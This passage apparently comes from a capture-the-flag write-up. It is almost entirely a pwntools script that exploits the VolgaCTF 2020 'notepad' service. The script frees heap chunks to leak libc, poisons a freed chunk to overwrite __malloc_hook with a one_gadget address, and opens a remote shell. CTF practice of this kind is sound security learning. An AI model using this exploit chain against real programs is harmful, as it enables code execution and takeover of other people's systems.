p.sendlineafter( '> ' , 'd' )

p.sendlineafter( ': ' , str(index))



def list_nb () :

p.sendline( '> ' , 'l' )



def pick_add (name, data) :

p.sendlineafter( '> ' , 'a' )

p.readuntil( ': ' )

p.sendline(name)

p.readuntil( ': ' )

p.sendline(str(len(data)))

p.readuntil( ': ' )

p.sendline(data)



def pick_view (index) :

p.sendlineafter( '>' , 'v' )

p.readuntil( ': ' )

p.sendline(str(index))

return p.read( 8 )



def pick_update (index, name, data) :

p.sendlineafter( '> ' , 'u' )

p.sendlineafter( ': ' , str(index))

p.sendlineafter( ': ' , name)

p.sendlineafter( ': ' , str(len(data)))

p.sendlineafter( ': ' , data)



def pick_delete (index) :

p.sendlineafter( '> ' , 'd' )

p.sendlineafter( ': ' , str(index))



def pick_list () :

p.sendline( '> ' , 'l' )



def pick_quit () :

p.sendline( '> ' , 'q' )









p = remote( 'notepad.q.2020.volgactf.ru' , 45678 )







add( "first_nb" )

pick( 1 )



for i in range( 9 ):

pick_add( "aaaa" , chr(ord( "A" ) + i) * 0x80 )



for i in range( 9 , 1 , -1 ):

pick_delete(i)



main_arena_96 = u64(pick_view( 2 )[: 8 ])

log.info( f"main_arena_+96: {hex(main_arena_96)} " )

malloc_hook = main_arena_96 - 112



libc.address = malloc_hook - libc.symbols[ '__malloc_hook' ]

one_gadget = libc.address + 0x10a38c

log.info( f"libc_base: {hex(libc.address)} " )

log.info( f"malloc_hook: {hex(malloc_hook)} " )

log.info( f"one_gadget: {hex(one_gadget)} " )



for i in range( 8 ):

pick_add( "bbbb" , chr(ord( "A" ) + i) * 0x80 )



pick_add( "cccc" , "S" * 0x8 )



pick_delete( 10 )



pick_update( 10 , 'dddd' , p64(malloc_hook))

log.info( "malloc_hook injected" )



pick_add( "fake" , "E" * 8 )



pick_add( "one_gadget" , p64(one_gadget))

log.info( "one_gadget plugged in" )

pick_add( "get shell" , "F" * 8 )

p.interactive()



Flag